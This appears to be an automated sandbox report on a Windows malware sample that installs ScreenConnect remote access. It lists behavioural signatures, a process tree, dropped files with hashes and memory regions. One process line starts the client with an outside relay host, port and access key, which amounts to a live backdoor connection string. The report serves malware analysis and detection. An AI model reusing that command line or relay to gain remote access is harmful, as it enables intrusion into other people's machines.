Analysis

  • max time kernel
    148s
  • max time network
    132s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/08/2026, 11:39

General

  • Target
    2026-08-20_a8ace4bf05ab91e59af060a0ce7ef6f9_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
  • Size 5.4MB
  • Sample260820-nskevsbl9s
  • SHA256 1295e6d1c5fac988e203043aa8f81fbdfb11d2efe5ce5183e0ad6c8289fcb0a0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-20_a8ace4bf05ab91e59af060a0ce7ef6f9_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-20_a8ace4bf05ab91e59af060a0ce7ef6f9_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1536
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\70dcf794837dc421\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:1344
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2612
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 7B8ED10887C64BC639CFAED7CFC986DF C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4512
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI4C9F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240733515 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5520
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1872
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 4124944A9840A4ADBD5FF83B10B323A2
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3888
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 49CF313C80058A7AC8D55112DC48B916 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1004
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2816
    • C:\Program Files (x86)\ScreenConnect Client (70dcf794837dc421)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (70dcf794837dc421)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.tyrtujk.xyz&p=8041&s=625a8018-951e-44c4-82da-e05f6a6102af&k=BgIAAACkAABSU0ExAAgAAAEAAQAp51ter0R0WCsicOFDG8wd6w%2fOIXpNU4p0mENB9bvrivilhaDtrPi3LeN7yjovCnSJa8djw1%2b0PNARqtNts7%2f8SB0xKvYZ%2fGDJkBr5DJtFctS3PggBj01eodL07NAxaOhSKPOkou7d6wFAliuk8fHO%2bLdip%2f54GB6q9Ggz5dElO7Y9DEOjc9ZUz5nPBS8F3wxvINRpjh53vDDlAKmOdXO1FtztIB2%2bZ9%2bGdcou1HSASQVWodi14FxPgKNwGggdVUXZ9BqkjzqFFg61DEg%2fSGVw7jx0QGu5d4fIEfQP%2fnlp5mtH5mZnPWNc1YmwRWIb6oATmqaRg6sVKKbz9xCz3XCl"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2512
      • C:\Program Files (x86)\ScreenConnect Client (70dcf794837dc421)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (70dcf794837dc421)\ScreenConnect.WindowsClient.exe" "RunRole" "70d657ca-e121-4d9e-9f07-e08ddbe41a30" "User"
        2⤵
        • Executes dropped EXE
        PID:1664
      • C:\Program Files (x86)\ScreenConnect Client (70dcf794837dc421)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (70dcf794837dc421)\ScreenConnect.WindowsClient.exe" "RunRole" "ce026a61-ff9f-40ab-9208-47c724c28486" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5888

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          e5998cc.rbs

          • Path C:\Config.Msi\e5998cc.rbs
          • Size 214KB
          • SHA256 5eb37c4917264279f84e230345a3546aeaa329c871bde2f16afceb10fcc093eb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (70dcf794837dc421)\Client.Override.en-US.resources
          • Size 298B
          • SHA256 ef989c4bd277b1849fd13dfe1cfcf5308c20e994190f74cd8604d8dfb8993ff2
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (70dcf794837dc421)\Client.Override.resources
          • Size 12KB
          • SHA256 9be5df6dc876793e2ab02aecdbdd1e6c23ee78b68f2687fb1390d15bc833435d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (70dcf794837dc421)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (70dcf794837dc421)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (70dcf794837dc421)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (70dcf794837dc421)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (70dcf794837dc421)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (70dcf794837dc421)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (70dcf794837dc421)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (70dcf794837dc421)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (70dcf794837dc421)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (70dcf794837dc421)\app.config
          • Size 1KB
          • SHA256 f1f26e2314ba36ff9668cfb794cf221cf8a39a45dfcd75793f42de271c811071
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (70dcf794837dc421)\system.config
          • Size 943B
          • SHA256 ac0b15da2734f7db690b2a34134119c36d2d85ffca92684feef8f9922b52beea
          • MD5 SHA1 SHA512 TLSH

          MSI4C9F.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4C9F.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4C9F.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4C9F.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4C9F.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4C9F.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\70dcf794837dc421\ScreenConnect.ClientSetup.msi
          • Size 12.8MB
          • SHA256 0b8fe0c1f5e228615efe2e5e0fa5338d79f470d26294d8b9b967fd2681a7207d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI9FA2.tmp

          • Path C:\Windows\Installer\MSI9FA2.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 8a9e8f780b537400291d3f947088c9f3210e95dfabfd4b0c763485850220c882
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {f17a74c0-e363-4a01-aa8c-89de83de823d}_OnDiskSnapshotProp

          • Path \??\Volume{6392210f-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{f17a74c0-e363-4a01-aa8c-89de83de823d}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 b9e60a885e1077c84d0a7f67fb8bdcfbf567a2151e259c974d369cd3f8160b65
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1536-1-0x0000000000BE0000-0x0000000000BE8000-memory.dmp

          memory/1536-5-0x0000000000D40000-0x0000000000D62000-memory.dmp

          memory/1536-13-0x0000000074CB0000-0x000000007546C000-memory.dmp

          memory/1536-2-0x00000000052A0000-0x0000000005592000-memory.dmp

          memory/1536-3-0x0000000005000000-0x000000000508C000-memory.dmp

          memory/1536-0-0x0000000074CC2000-0x0000000074CC3000-memory.dmp

          memory/1536-10-0x0000000074CB0000-0x000000007546C000-memory.dmp

          memory/1536-4-0x0000000074CB0000-0x000000007546C000-memory.dmp

          memory/1536-9-0x0000000074CB0000-0x000000007546C000-memory.dmp

          memory/1536-6-0x0000000005090000-0x000000000523C000-memory.dmp

          memory/1536-7-0x0000000074CB0000-0x000000007546C000-memory.dmp

          memory/1536-8-0x0000000005B50000-0x000000000610A000-memory.dmp

          memory/1664-136-0x0000000002540000-0x0000000002558000-memory.dmp

          memory/1664-132-0x000000001B090000-0x000000001B0C6000-memory.dmp

          memory/1664-138-0x000000001B0F0000-0x000000001B131000-memory.dmp

          memory/1664-137-0x000000001B0D0000-0x000000001B0E8000-memory.dmp

          memory/1664-135-0x000000001B9F0000-0x000000001BB78000-memory.dmp

          memory/1664-131-0x0000000000490000-0x0000000000528000-memory.dmp

          memory/1664-133-0x000000001B470000-0x000000001B4FC000-memory.dmp

          memory/1664-134-0x000000001B6B0000-0x000000001B85C000-memory.dmp

          memory/2512-112-0x00000000042F0000-0x0000000004340000-memory.dmp

          memory/2512-119-0x00000000046A0000-0x00000000046E1000-memory.dmp

          memory/2512-90-0x00000000040A0000-0x00000000040B8000-memory.dmp

          memory/2512-116-0x0000000004340000-0x0000000004376000-memory.dmp

          memory/2512-121-0x0000000004930000-0x0000000004A05000-memory.dmp

          memory/2512-117-0x0000000004740000-0x00000000047D2000-memory.dmp

          memory/2612-142-0x000001FB1ECE0000-0x000001FB1F684000-memory.dmp

          memory/5520-40-0x0000000005540000-0x00000000055CC000-memory.dmp

          memory/5520-36-0x0000000005410000-0x000000000541A000-memory.dmp

          memory/5520-44-0x0000000005780000-0x000000000592C000-memory.dmp

          memory/5520-32-0x00000000053D0000-0x00000000053FE000-memory.dmp

          memory/5888-140-0x0000000002800000-0x0000000002841000-memory.dmp